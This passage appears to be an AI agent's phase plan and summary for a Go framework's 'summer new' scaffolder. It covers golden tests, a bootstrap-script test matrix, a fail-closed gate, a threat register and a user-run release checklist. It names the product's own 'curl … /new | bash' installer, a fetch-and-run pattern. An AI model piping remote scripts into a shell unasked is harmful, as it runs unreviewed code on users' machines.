+    - "14.3-SECURITY-REVIEW.md lists T-14.3-01..T-14.3-26 and T-14.3-SC, each high row mitigated with a named test or gate stage; 14.3-VALIDATION.md is validated and nyquist_compliant."
+  prohibitions:
+    - requirement_id: D-21
+      category: transparency
+      status: resolved
+      verification: judgment
+      resolution: flagged-unverified
+      reason: "Gate requires named PASS lines; descriptor-less, human review recommended."
+      statement: "The phase gate must never pass on a skipped, filtered-to-zero or -update test run."
+    - requirement_id: D-28
+      category: safety
+      status: resolved
+      verification: judgment
+      resolution: flagged-unverified
+      reason: "Release steps are listed for the user only; descriptor-less, human review recommended."
+      statement: "No task pushes commits or tags, bumps the site's framework require, or deploys the site."
+    - requirement_id: D-05
+      category: safety
+      status: resolved
+      verification: judgment
+      resolution: flagged-unverified
+      reason: "Gate scans go.mod against v0.1.12 and the dependency graph; descriptor-less, human review recommended."
+      statement: "The phase must add no Go module requirement and no runtime plugin loading."
+  artifacts:
+    - path: "internal/build/new_golden_test.go"
+      provides: "golden harness with -update flag"
+      contains: "TestNewGolden"
+    - path: "internal/build/testdata/new/go.work.golden"
+      provides: "pinned relative workspace"
+      contains: "./plugins/demo"
+    - path: "internal/build/new_test.go"
+      provides: "generator error, git, file-mode and build tests"
+      contains: "TestNewFrameworkResolution"
+    - path: "modules/sunrise/script_behavior_test.go"
+      provides: "bootstrap script behaviour matrix with stubs"
+      contains: "TestScriptBehavior"
+    - path: "scripts/check-phase14.3.sh"
+      provides: "fail-closed phase gate"
+      contains: "Phase 14.3 gate passed"
+    - path: ".planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-VALIDATION.md"
+      provides: "validated per-plan map"
+      contains: "nyquist_compliant: true"
+  key_links:
+    - from: "internal/build/new_golden_test.go"
+      to: "internal/build/new.go"
+      via: "NewApp output compared with testdata/new goldens"
+      pattern: "NewApp("
+    - from: "modules/sunrise/script_behavior_test.go"
+      to: "modules/sunrise/new.sh"
+      via: "the test runs the embedded script bytes with bash on a stub PATH"
+      pattern: "Script()"
+    - from: "scripts/check-phase14.3.sh"
+      to: ".planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-SECURITY-REVIEW.md"
+      via: "gate fails on a missing threat ID or an open high threat"
+      pattern: "T-14.3-"
+---
+
+<objective>
+Close Phase 14.3 with the dedicated unit-test plan (project rule 3, D-21): golden output for every file `summer new` writes, real builds in temp directories, the generator's error cases, the bootstrap script's behaviour matrix, a fail-closed phase gate, security evidence and validation sign-off, then hand the release steps to the user.
+
+Purpose: make every locked decision observably fail when broken, before the framework is tagged `v0.1.13`.
+Output: golden harness and goldens, generator/CLI/lagoon/script tests, `scripts/check-phase14.3.sh --all`, updated security review and validation map, and the post-phase release checklist.
+</objective>
+
+<execution_context>
+@~/.claude/gsd-core/workflows/execute-plan.md
+@~/.claude/gsd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-01-SUMMARY.md
+@.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-02-SUMMARY.md
+@.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-03-SUMMARY.md
+@.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-VALIDATION.md
+@.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-SECURITY-REVIEW.md
+@internal/build/new.go
+@internal/build/build_test.go
+@modules/sunrise/new.sh
+@scripts/check-phase14.3.sh
+</context>
+
+## Spec-less probe fallback
+
+No REQUIREMENTS.md IDs or SPEC.md exist; requirement probing is visibly skipped. Tests map directly to D-01..D-28, the six roadmap success criteria, the edge predicates and prohibitions carried in plans 01-03, and the threat register T-14.3-01..T-14.3-26.
+
+## Artifacts this phase produces (this plan)
+
+- Golden harness: `var update = flag.Bool("update", false, "rewrite golden files")` in package build tests; goldens under `internal/build/testdata/new/` and `internal/build/testdata/new-no-plugin/`, file names derived from the relative path with `/` replaced by `__` and a leading `.` replaced by `dot-` (keeps them clear of the framework's `.env*` ignore rules).
+- Tests: `TestNewGolden`, `TestNewGoldenNoPlugin`, `TestNewNoPluginBuilds`, `TestNewValidateAppName`, `TestNewRefusesExistingTarget`, `TestNewFrameworkResolution`, `TestNewRefusesTargetInsideFramework`, `TestNewCleansUpOnFailure`, `TestNewEnvFileMode`, `TestNewAgentsSymlink`, `TestNewGitFirstCommit`, `TestNewGitUsesConfiguredIdentity`, `TestNewGitMissingIsWarning`, `TestNewNoGit`, `TestNewRequiresValidAppKey`, `TestMakePluginRoutesUnchanged`, `TestGenerateAppKey`, `TestNewCommandViaCLI`, `TestScriptBehavior`, `TestScriptShellcheck`.
+- Gate stages `--unit` and `--all` in `scripts/check-phase14.3.sh` (final line `Phase 14.3 gate passed`).
+- Updated `14.3-SECURITY-REVIEW.md` (T-14.3-01..26 + SC with test evidence) and `14.3-VALIDATION.md` (validated).
+- Post-phase release checklist (user actions) below.
+
+## Multi-source coverage audit
+
+| SOURCE | ID | Feature/Requirement | Plan | Status | Notes |
+|---|---|---|---|---|---|
+| GOAL | — | One command starts an app: `summer new` + `curl … /new \| bash`, shipped as v0.1.13 | 01-04 | COVERED | Tag itself is a post-phase user action (D-28) |
+| REQ | — | No REQUIREMENTS.md IDs mapped | — | COVERED | Visible spec-less fallback; D-IDs used |
+| CONTEXT | D-01 | sm-<name>-app/-plugin/-theme convention in CLAUDE.md | 01, 03 | COVERED | Template + scaffolding docs |
+| CONTEXT | D-02 | Name regex, refuse existing dir | 01, 04 | COVERED | |
+| CONTEXT | D-03 | go.mod module, go 1.27.0, relative replace | 01, 04 | COVERED | Golden go.mod |
+| CONTEXT | D-04 | --framework > siblings by module path > binary source > error | 01, 04 | COVERED | |
+| CONTEXT | D-05 | Starter plugin via make:plugin/plugin:add, go.work, HTTP route | 01, 04 | COVERED | StarterRoute option, one template |
+| CONTEXT | D-06 | --no-plugin (empty list builds) | 01, 04 | COVERED | |
+| CONTEXT | D-07 | Complete config/, hello http.yaml | 01, 04 | COVERED | |
+| CONTEXT | D-08 | .env.example, .env with lagoon key, .gitignore | 01, 04 | COVERED | |
+| CONTEXT | D-09 | compose.yaml PostgreSQL 16 matching .env | 01, 04 | COVERED | |
+| CONTEXT | D-10 | CLAUDE.md + AGENTS.md | 01, 04 | COVERED | Symlink |
+| CONTEXT | D-11 | git init + first commit, --no-git, no-identity fallback | 01, 04 | COVERED | |
+| CONTEXT | D-12 | build/migrate/serve with no edits | 01 | COVERED | --generator gate stage |
+| CONTEXT | D-13 | Script in framework package, served at GET /new text/plain | 02 | COVERED | |
+| CONTEXT | D-14 | main() wrapper | 02, 04 | COVERED | Truncation tests |
+| CONTEXT | D-15 | Prerequisites, clone/update, install + PATH hint, summer new, next steps | 02, 04 | COVERED | |
+| CONTEXT | D-16 | Latest release tag, ff-only, refuse dirty/branch | 02, 04 | COVERED | |
+| CONTEXT | D-17 | Clone location and env overrides | 02, 04 | COVERED | |
+| CONTEXT | D-18 | Docs, llms, module READMEs | 01, 02, 03 | COVERED | lagoon README in 01, sunrise README in 02 |
+| CONTEXT | D-19 | Landing page one-liner + TestTerminalCommands | 03 | COVERED | Redeploy is post-phase |
+| CONTEXT | D-20 | Container acceptance | 02, 04 | COVERED | Production variant post-deploy |
+| CONTEXT | D-21 | Golden + real build + error cases, tests last | 04 | COVERED | |
+| CONTEXT | D-22 | Keyword/main/internal denylist | 01, 04 | COVERED | |
+| CONTEXT | D-23 | Fixed non-5432 loopback port | 01, 04 | COVERED | 127.0.0.1:54320 |
+| CONTEXT | D-24 | summer new prints next steps; script prints cd + PATH hint | 01, 02, 04 | COVERED | |
+| CONTEXT | D-25 | No root go.sum; go.work.sum ignored | 01, 04 | COVERED | |
+| CONTEXT | D-26 | modules/<pkg> embeds script; SUMMERCMS_* overrides | 02, 04 | COVERED | modules/sunrise |
+| CONTEXT | D-27 | Relative go.work, starter route option, GenerateAppKey, hello http.yaml | 01, 04 | COVERED | |
+| CONTEXT | D-28 | Release ordering | 02, 03, 04 | COVERED | Post-phase checklist |
+| RESEARCH | — | Pitfalls 1-14 (absolute go.work, ancestor go.work, keyword names, partial dir, git identity, pipefail, prompts, GOVERSION, GOBIN, Postgres readiness, docker socket, safe.directory, pre-tag ref, release coupling) | 01-04 | COVERED | |
+| RESEARCH | — | Security Domain (V5, V6, V10, V12, V14) | 01, 02, 04 | COVERED | 14.3-SECURITY-REVIEW.md |
+
+Excluded by explicit scope: `summer new --theme` / sm-<name>-theme scaffolding, prebuilt release binaries, standalone plugin scaffolding beyond make:plugin, Windows support.
+
+<tasks>
+
+<task type="tracer">
+  <name>Task 1: Golden harness pins every file summer new writes</name>
+  <files>internal/build/new_golden_test.go, internal/build/testdata/new/go.mod.golden, internal/build/testdata/new/go.work.golden, internal/build/testdata/new/summer.yaml.golden, internal/build/testdata/new/main.go.golden, internal/build/testdata/new/plugins.gen.go.golden, internal/build/testdata/new/config__app.yaml.golden, internal/build/testdata/new/config__database.yaml.golden, internal/build/testdata/new/config__http.yaml.golden, internal/build/testdata/new/config__storage.yaml.golden, internal/build/testdata/new/dot-env.golden, internal/build/testdata/new/dot-env.example.golden, internal/build/testdata/new/dot-gitignore.golden, internal/build/testdata/new/compose.yaml.golden, internal/build/testdata/new/CLAUDE.md.golden, internal/build/testdata/new/plugins__demo__plugin.go.golden, internal/build/testdata/new/plugins__demo__routes.go.golden, internal/build/testdata/new/next-steps.txt.golden, internal/build/testdata/new-no-plugin/go.mod.golden, internal/build/testdata/new-no-plugin/go.work.golden, internal/build/testdata/new-no-plugin/summer.yaml.golden, internal/build/testdata/new-no-plugin/plugins.gen.go.golden, internal/build/testdata/new-no-plugin/CLAUDE.md.golden, internal/build/testdata/new-no-plugin/next-steps.txt.golden</files>
+  <read_first>internal/build/new.go, internal/build/new_test.go (TestNewAppSmoke helper for the symlinked framework), internal/build/stubs/new.tmpl, internal/build/build_test.go (copyHelloApp, execGo), .gitignore (framework ignore rules: .env, .env.*, *.out, coverage.*), .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-VALIDATION.md (Wave 0 requirements)</read_first>
+  <action>Introduce the golden infrastructure (none exists yet) and pin the D-03, D-05, D-07..D-10, D-23..D-25 output.
+
+In `internal/build/new_golden_test.go` declare `var update = flag.Bool("update", false, "rewrite golden files")` and a shared helper that creates a temp parent with a `summercms` symlink to the repository root (so the replace is deterministically `../summercms`) and runs `NewApp` with name `demo`, a fixed test key (base64 of the 32 bytes 0x00..0x1f), `NoGit: true`, capturing `out`. `TestNewGolden` compares these files of the result with `testdata/new/<golden name>`: go.mod, go.work, summer.yaml, main.go, plugins.gen.go, config/app.yaml, config/database.yaml, config/http.yaml, config/storage.yaml, .env, .env.example, .gitignore, compose.yaml, CLAUDE.md, plugins/demo/plugin.go, plugins/demo/routes.go, plus the captured output with the temp parent path replaced by `<parent>` as `next-steps.txt`. Golden names: relative path with `/` replaced by `__` and a leading `.` replaced by `dot-`. Excluded and asserted instead: AGENTS.md (symlink, Task 2), plugins/demo/go.mod and go.sum (dependency versions drift; assert the plugin go.mod contains `replace git.golem15.com/golem15/summercms => ../../../summercms`). `TestNewGoldenNoPlugin` does the same with `NoPlugin: true` against `testdata/new-no-plugin/` for go.mod, go.work, summer.yaml, plugins.gen.go, CLAUDE.md and next-steps.txt. With `-update` the tests rewrite the goldens and still fail-safe compare on the next run; without it a mismatch prints a unified-style diff of the first differing lines and the golden path. Both tests run `go mod tidy` through makePlugin (module cache) and are not -short gated; they never build. Generate the goldens with `-update` once, review every golden by eye against D-03 (relative replace, go 1.27.0, toolchain), D-23 (`127.0.0.1:54320:5432`), D-25 (.gitignore entries, no go.sum) and D-10 (llms URLs, naming convention, neutral text), and commit tests and goldens together.</action>
+  <verify>
+    <automated>go test ./internal/build/ -run '^(TestNewGolden|TestNewGoldenNoPlugin)$' -count=1 -v &amp;&amp; bash -c 'set -e; ! grep -nE "^\s*/|=> /" internal/build/testdata/new/go.mod.golden internal/build/testdata/new/go.work.golden internal/build/testdata/new-no-plugin/go.mod.golden internal/build/testdata/new-no-plugin/go.work.golden; git check-ignore -q internal/build/testdata/new/dot-env.golden &amp;&amp; exit 1; echo GOLDEN-OK'</automated>
+    <fails_when>Non-zero exit; any "--- FAIL"; "no tests to run"; "--- PASS: TestNewGolden" or "--- PASS: TestNewGoldenNoPlugin" absent; an absolute path printed from a golden go.mod/go.work; or the output lacks "GOLDEN-OK".</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - Every file in this task's file list exists and is tracked by git: `git ls-files internal/build/testdata` prints exactly the 23 golden paths listed above.
+    - `grep -c './plugins/demo' internal/build/testdata/new/go.work.golden` is 1 and `grep -c 'replace git.golem15.com/golem15/summercms => ../summercms' internal/build/testdata/new/go.mod.golden` is 1.
+    - `grep -c '127.0.0.1:54320:5432' internal/build/testdata/new/compose.yaml.golden` is 1 and `grep -c 'go.work.sum' internal/build/testdata/new/dot-gitignore.golden` is 1.
+    - `grep -c 'https://summercms.io/docs/llms.txt' internal/build/testdata/new/CLAUDE.md.golden` is 1.
+    - Changing one byte of a golden makes `TestNewGolden` fail (checked once by hand, then restored).
+  </acceptance_criteria>
+  <done>Every file `summer new` writes for the default and `--no-plugin` variants is pinned byte for byte, with an explicit `-update` path.</done>
+</task>
+
+<task type="auto">
+  <name>Task 2: Generator, CLI and key error-case and behaviour matrix</name>
+  <files>internal/build/new_test.go, internal/build/build_test.go, modules/lagoon/keygen_test.go, cmd/summer/main_test.go</files>
+  <read_first>internal/build/new.go (ValidateAppName, resolveFramework, frameworkFromBinary, cleanup, git step), internal/build/new_test.go, internal/build/build_test.go (TestMakeAndAddPluginOnHelloCopy, TestScaffoldPluginSmoke), modules/lagoon/keygen.go, modules/lagoon/keygen_test.go, cmd/summer/main.go (newCommand), cmd/summer/main_test.go (TestToolCommandNames, copyHelloApp, t.Chdir use), .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-RESEARCH.md (Pitfalls 3, 4, 5)</read_first>
+  <action>Cover every generator branch from plan 01 with named tests (D-21: stdlib testing, -short gating only for real builds).
+
+internal/build/new_test.go: `TestNewValidateAppName` table (reject "", "Demo", "1x", "a-b", "a.b", "a/b", every keyword from the Go spec list via `go/token`, "main", "internal"; accept "init", "string", "vendor", "testdata", "a1"; rejected keywords' errors mention keyword). `TestNewRefusesExistingTarget` (existing directory with a file inside, regular file, symlink to a directory, dangling symlink: each errors and the entry is unchanged afterwards). `TestNewFrameworkResolution` (replace `frameworkFromBinary` for the test: flag wins over siblings; a flag pointing at a go.mod with another module errors and does not fall through; `summercms` is preferred over `summercms.go`; a sibling whose go.mod declares another module is skipped; with no siblings the stubbed binary source is used; with nothing the error contains `--framework` and no target remains). `TestNewRefusesTargetInsideFramework`. `TestNewCleansUpOnFailure` (framework flag at a temp dir whose go.mod only declares the framework module, so the starter plugin's go mod tidy fails; assert an error, no `sm-demo-app`, and a sibling file created before the run untouched). `TestNewRequiresValidAppKey` (empty and short keys rejected before anything is written). `TestNewEnvFileMode` (0600). `TestNewAgentsSymlink` (`os.Readlink` gives `CLAUDE.md`). `TestNewGitFirstCommit` (HOME and XDG_CONFIG_HOME at temp dirs, `GIT_CONFIG_NOSYSTEM=1`, `GIT_CONFIG_GLOBAL=/dev/null`: one commit, branch main, author `SummerCMS <summer@localhost>`, `git config user.name` inside the repo still unset afterwards, `git ls-files` lists .env.example, go.work, main.go, plugins.gen.go, AGENTS.md and not .env). `TestNewGitUsesConfiguredIdentity` (GIT_AUTHOR_NAME/EMAIL and GIT_COMMITTER_NAME/EMAIL set: author taken from them). `TestNewGitMissingIsWarning` (PATH holding only a symlink to the real go binary: warning in output, app present, no .git). `TestNewNoGit`. `TestNewNoPluginBuilds` (skip under -short: `App` succeeds, plugins.gen.go has an empty PluginIDs). Keep `TestNewAppSmoke` as the real build with the starter plugin.
+
+internal/build/build_test.go: in `TestMakeAndAddPluginOnHelloCopy` assert every `use` path in go.work is relative (no line whose first non-blank character is `/`) and `./plugins/demo` is present; add `TestMakePluginRoutesUnchanged` asserting a plain make:plugin routes.go contains `func (p *Plugin) Routes(pact.Router) error { return nil }` and no `net/http` import.
+
+modules/lagoon/keygen_test.go: `TestGenerateAppKey` (44 characters, StdEncoding decodes to 32 bytes, two calls differ); keep the existing key:generate test.
+
+cmd/summer/main_test.go: extend helpWants with `"new": {"--framework", "--no-plugin", "--no-git", "name"}`; add `TestNewCommandViaCLI` (t.Chdir into a temp parent holding a `summercms` symlink, run `new demo --no-git` through `bonfire.NewRoot("summer", toolCommands(), &buf)`, assert the app exists, `.env` carries a 44-character `SUMMER_APP__KEY`, output lists the next steps; `new` with no argument and `new Demo` both error).
+
+Commit as one test commit.</action>
+  <verify>
+    <automated>go vet ./internal/build/ ./cmd/summer/ ./modules/lagoon/ &amp;&amp; go test ./internal/build/ -run '^(TestNew|TestMakeAndAddPluginOnHelloCopy$|TestMakePluginRoutesUnchanged$)' -count=1 -v &amp;&amp; go test ./modules/lagoon/ -run '^(TestGenerateAppKey|TestEncryptedKeyGeneratePrints32ByteBase64)$' -count=1 -v &amp;&amp; go test ./cmd/summer/ -run '^(TestToolCommandNames|TestNewCommandViaCLI)$' -count=1 -v</automated>
+    <fails_when>Non-zero exit; any "--- FAIL"; "--- SKIP" for any TestNew test (this run is not -short); "no tests to run"; or any of "--- PASS: TestNewFrameworkResolution", "--- PASS: TestNewCleansUpOnFailure", "--- PASS: TestNewGitFirstCommit", "--- PASS: TestNewNoPluginBuilds", "--- PASS: TestMakePluginRoutesUnchanged", "--- PASS: TestGenerateAppKey", "--- PASS: TestNewCommandViaCLI" is absent.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - Each test named in this task's action exists (`grep -c 'func TestNew' internal/build/new_test.go` is at least 13).
+    - `go test ./internal/build/ -short -run TestNew -v` skips only TestNewAppSmoke and TestNewNoPluginBuilds.
+    - TestNewGitFirstCommit proves the fallback identity is used for the first commit only and that .env is untracked.
+    - TestNewCleansUpOnFailure proves only the directory created by the run is removed.
+    - `go vet ./...` and `go test ./... -short` pass.
+  </acceptance_criteria>
+  <done>Every generator branch (validation, refusal, resolution order, cleanup, key, file modes, symlink, git paths, no-plugin) and the shared-path fixes have named, passing tests.</done>
+</task>
+
+<task type="auto">
+  <name>Task 3: Bootstrap script behaviour matrix, fail-closed phase gate, security evidence and validation sign-off</name>
+  <files>modules/sunrise/script_behavior_test.go, scripts/check-phase14.3.sh, .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-SECURITY-REVIEW.md, .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-VALIDATION.md</files>
+  <read_first>modules/sunrise/new.sh, modules/sunrise/sunrise_test.go (stub PATH harness from plan 02), scripts/check-phase14.3.sh (--generator, --acceptance stages), scripts/check-phase14.2.1.sh (named-PASS detection, --all pattern), .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-SECURITY-REVIEW.md, .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-VALIDATION.md, .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-03-PLAN.md (threats T-14.3-20..22), ../sm-summercmsio-app/terminal_check_test.go</read_first>
+  <action>Finish phase coverage and the gate.
+
+`modules/sunrise/script_behavior_test.go`, `TestScriptBehavior` table: write `Script()` to a temp file and run it with `/bin/bash` (absolute), a fresh temp working directory, and PATH set to a temp tools directory that contains only a symlink to the real `git` plus stub `go` and `docker` scripts (the plan 02 script uses no other external commands). The `go` stub answers `env GOVERSION` from a test variable, `env GOBIN` and `env GOPATH` from temp paths, and for `-C <dir> install ./cmd/summer` writes a stub `summer` into GOBIN that records its working directory, arguments and whatever it reads from stdin. A helper builds a bare "remote" framework repository with go.mod `module git.golem15.com/golem15/summercms` and tags v0.1.0, v0.2.0, v0.10.0 on successive commits and v1.0.0-rc1 on a later one. Cases: no argument (exit 2, usage, no stub call); `Demo` (exit 2); existing `sm-demo-app` (exit 1, nothing cloned); Go missing (exit 1, stderr names https://go.dev/dl/, nothing cloned); `go1.26.3` (exit 1, hint); `devel` version (warning, success); git missing (exit 1); Docker missing (warning, success); fresh clone (detached at v0.10.0, summer called with `new demo --framework <abs>/summercms` from `<abs>`, stdin not read even though the test pipes data into the script, output contains `cd <abs>/sm-demo-app`); `SUMMERCMS_REF=v0.2.0`; re-run after the remote gains v0.11.0 (moves forward); re-run at the newest tag (no change, success); tracked change in the checkout (exit 1, file content unchanged); checkout on a branch (exit 1); detached on a commit that is not an ancestor of the newest tag (exit 1, HEAD unchanged); remote tag v0.10.0 deleted and recreated on another commit while the local tag exists (exit non-zero, HEAD unchanged); existing directory with another module's go.mod (exit 1); existing directory that is not a git repository (exit 1); GOBIN not on PATH (hint printed) versus on PATH (no hint). Add `TestScriptShellcheck` running `shellcheck -s bash` on new.sh, skipped only when shellcheck is not installed.
+
+Gate: add to `scripts/check-phase14.3.sh` the `--unit` stage (go vet ./...; go test ./... -count=1 -v saved to a log; `go -C examples/hello test ./... -count=1`; `go run ./cmd/summer docs:build --check`; `go -C ../sm-summercmsio-app/plugins/golem15/summercms test ./... -count=1`; `go -C ../sm-summercmsio-app test ./... -count=1`; `pnpm -C ../sm-summercmsio-app/vue-summercmsio-app generate` and `test`; a required list of named tests that must each print `--- PASS:` in the log: TestNewGolden, TestNewGoldenNoPlugin, TestNewAppSmoke, TestNewNoPluginBuilds, TestNewValidateAppName, TestNewRefusesExistingTarget, TestNewFrameworkResolution, TestNewRefusesTargetInsideFramework, TestNewCleansUpOnFailure, TestNewRequiresValidAppKey, TestNewEnvFileMode, TestNewAgentsSymlink, TestNewGitFirstCommit, TestNewGitUsesConfiguredIdentity, TestNewGitMissingIsWarning, TestNewNoGit, TestMakeAndAddPluginOnHelloCopy, TestMakePluginRoutesUnchanged, TestGenerateAppKey, TestNewCommandViaCLI, TestToolCommandNames, TestScriptEmbedded, TestScriptShape, TestScriptTruncationRunsNothing, TestScriptBehavior, TestScriptShellcheck, TestDocsTree, TestDocsAIOutputsInSync; any `--- SKIP` of a required test or a `no tests to run` line fails the stage) and the forbidden-surface scan (new.sh contains no name with the framework config prefix; `git diff v0.1.12 -- go.mod` adds no require line; `go list -deps ./...` contains neither the stdlib `plugin` package nor yaegi; golden go.mod/go.work contain no absolute path; the framework .gitignore does not ignore any testdata golden). Add `--all`: `--unit`, `--generator`, the gated runs `SUMMERCMS_BOOTSTRAP_CHECK=1 go test ./modules/sunrise/ -run '^TestBootstrapEndToEnd$'` and the site's `TestTerminalCommands` with the local SUMMERCMS_NEW_URL/REPO/REF overrides (each requiring its named PASS), `--acceptance`, and the security check (every T-14.3-01..26 and T-14.3-SC row present, no high row with status open, every high row names a test or gate stage); end with `Phase 14.3 gate passed`.
+
+Security review: add rows T-14.3-20..22 (plan 03) and T-14.3-23..26 (this plan's register) and fill the test column of every row with the named test or gate stage that now pins it; statuses stay `mitigated` or `accepted`. Validation: replace `<pkg>` with `sunrise`, map each per-plan row to the exact test names and commands above, set frontmatter `status: validated`, `nyquist_compliant: true`, `wave_0_complete: true` only after `--all` passes, and keep the manual-only row for the production run with the commands from the release checklist. Commit the test and gate as code commits and the two planning documents as a separate docs commit. Do not push, tag or deploy.</action>
+  <verify>
+    <automated>go test ./modules/sunrise/ -run '^(TestScriptBehavior|TestScriptShellcheck)$' -count=1 -v &amp;&amp; bash scripts/check-phase14.3.sh --all</automated>
+    <fails_when>Non-zero exit; any "--- FAIL"; "--- SKIP: TestScriptShellcheck" while shellcheck is installed; "no tests to run"; a required test without its "--- PASS:" line; an open high threat; or the output lacks the final line "Phase 14.3 gate passed".</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -c 'func TestScriptBehavior' modules/sunrise/script_behavior_test.go` is 1 and the table has at least 18 cases.
+    - `grep -c -- '--all' scripts/check-phase14.3.sh` is at least 1 and `grep -c 'Phase 14.3 gate passed' scripts/check-phase14.3.sh` is 1.
+    - 14.3-SECURITY-REVIEW.md contains T-14.3-01 through T-14.3-26 and T-14.3-SC; every high row is `mitigated` with a named test or stage.
+    - 14.3-VALIDATION.md frontmatter has `status: validated`, `nyquist_compliant: true`, `wave_0_complete: true`, and no `<pkg>` placeholder remains.
+    - `bash scripts/check-phase14.3.sh --all` ends with `Phase 14.3 gate passed`.
+  </acceptance_criteria>
+  <done>The bootstrap script's refusal and selection paths are tested, one fail-closed gate proves the whole phase across summercms.go and the site, and the security review and validation map are signed off.</done>
+</task>
+
+</tasks>
+
+## Post-phase release checklist (user actions, not executed by this plan)
+
+Per D-19 and D-28 these run after the phase is verified; they are listed here so they are not lost:
+
+1. Review and push summercms.go `master`.
+2. Tag the framework: `git tag -a v0.1.13 -m "v0.1.13"` on the commit that holds all Phase 14.3 framework changes, then `git push origin v0.1.13`. One-way: module proxies cache the version, a defect afterwards ships as v0.1.14.
+3. In `sm-summercmsio-app`: bump `require git.golem15.com/golem15/summercms` to `v0.1.13` in `go.mod` and `plugins/golem15/summercms/go.mod`, update the `v0.1.12` references in DEPLOY.md and CLAUDE.md, commit in the plugin submodule and the app, push the submodules then the app (`ssu`).
+4. `scripts/build.sh` (release) and deploy per `sm-summercmsio-app/DEPLOY.md`.
+5. Verify in production: `curl -fsSI https://summercms.io/new` shows `200` and `text/plain; charset=utf-8`; `SUMMERCMS_TERMINAL_CHECK=1 go test -run TestTerminalCommands -count=1 -v .` in `sm-summercmsio-app` with no overrides; `bash scripts/check-phase14.3.sh --acceptance-production` in summercms.go (the final D-20 run against https://summercms.io/new).
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Tests and gate -> phase completion claim | A skipped, filtered or self-updating test must not count as evidence |
+| Tests -> host Docker and filesystem | Gate stages start containers and write temp files |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-14.3-23 | Repudiation | phase gate | high | mitigate | Required named `--- PASS:` lines; any required SKIP or "no tests to run" fails; final marker line |
+| T-14.3-24 | Tampering | golden files | medium | mitigate | Goldens rewritten only with explicit `-update`, never by the gate; goldens reviewed and committed with the tests |
+| T-14.3-25 | Information Disclosure | fixed test key in goldens | low | accept | Deterministic non-secret test value (bytes 0x00..0x1f), never used outside tests |
+| T-14.3-26 | Denial of Service | Docker resources from gate stages | low | mitigate | Unique compose project names, traps with `docker compose down -v`, host-side label cleanup |
+| T-14.3-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package installs; gate fails when go.mod gains a require line versus v0.1.12 |
+</threat_model>
+
+<verification>
+`bash scripts/check-phase14.3.sh --all` is the authoritative command and must end with `Phase 14.3 gate passed`. Then `go vet ./... && go test ./... -short` once more at the final commit.
+</verification>
+
+<success_criteria>
+- Roadmap success criterion 6: generator golden tests and real builds of the scaffold in temp directories exist and pass, as the last plan.
+- Every D-01..D-28 decision maps to a named test, gate stage or the post-phase checklist.
+- No open high threat; validation signed off; nothing pushed, tagged or deployed.
+</success_criteria>
+
+<output>
+Create `.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-04-SUMMARY.md` when done.
+</output>
+</content>
+</invoke>

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-04-SUMMARY.md

@@ -0,0 +1,235 @@
+---
+phase: 14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new
+plan: 04
+subsystem: testing
+tags: [golden-tests, summer-new, bootstrap-script, phase-gate, security-review, validation]
+
+requires:
+  - phase: 14.3-01
+    provides: "build.NewApp, planNewApp, frameworkFromBinary seam, --generator gate stage"
+  - phase: 14.3-02
+    provides: "modules/sunrise new.sh and Script(), --acceptance stage, refusal probe, 14.3-SECURITY-REVIEW.md"
+  - phase: 14.3-03
+    provides: "site TestTerminalCommands with SUMMERCMS_NEW_URL/REPO/REF overrides, docs"
+provides:
+  - "internal/build/new_golden_test.go: -update flag, 17 goldens for the default app and 6 for --no-plugin"
+  - "18 generator/CLI/key tests (TestNew*, TestMakePluginRoutesUnchanged, TestGenerateAppKey, TestNewCommandViaCLI)"
+  - "TestScriptBehavior (25 cases on a stub PATH against a bare fake framework remote) and TestScriptShellcheck"
+  - "scripts/check-phase14.3.sh --unit, --forbidden, --bootstrap, --terminal, --security, --all"
+  - "14.3-SECURITY-REVIEW.md with T-14.3-01..26 + SC pinned; 14.3-VALIDATION.md validated"
+affects: [v0.1.13 release, site require bump and redeploy, /gsd-verify-work 14.3]
+
+actuals:
+  tokens: 30074
+  tasks: 3
+  commits: 6
+plan_head_before: 9f56dc7eff3a569dae61496fb8997f9f8d18bde8
+plan_head_after: c4c91f0f6b41610be8db25bfcbf1eccc1cf788b8
+
+tech-stack:
+  added: []
+  patterns:
+    - "Golden files named from the app-relative path ('/' -> '__', leading '.' -> 'dot-') so .env goldens stay clear of the framework's .env ignore rules"
+    - "Script behaviour harness: real git through a symlink, bash stubs for go/docker/summer recording calls, cwd, args and stdin; a bare remote fed from a work clone so tags can move"
+    - "Gate stages run as separate processes from --all so each stage's EXIT trap (Docker cleanup) fires before the next stage"
+    - "Tests that make git commits in temp dirs disable detached auto maintenance (GIT_CONFIG_COUNT maintenance.auto=false, gc.auto=0)"
+
+key-files:
+  created:
+    - internal/build/new_golden_test.go
+    - internal/build/testdata/new/ (17 goldens)
+    - internal/build/testdata/new-no-plugin/ (6 goldens)
+    - modules/sunrise/script_behavior_test.go
+  modified:
+    - internal/build/new_test.go
+    - internal/build/build_test.go
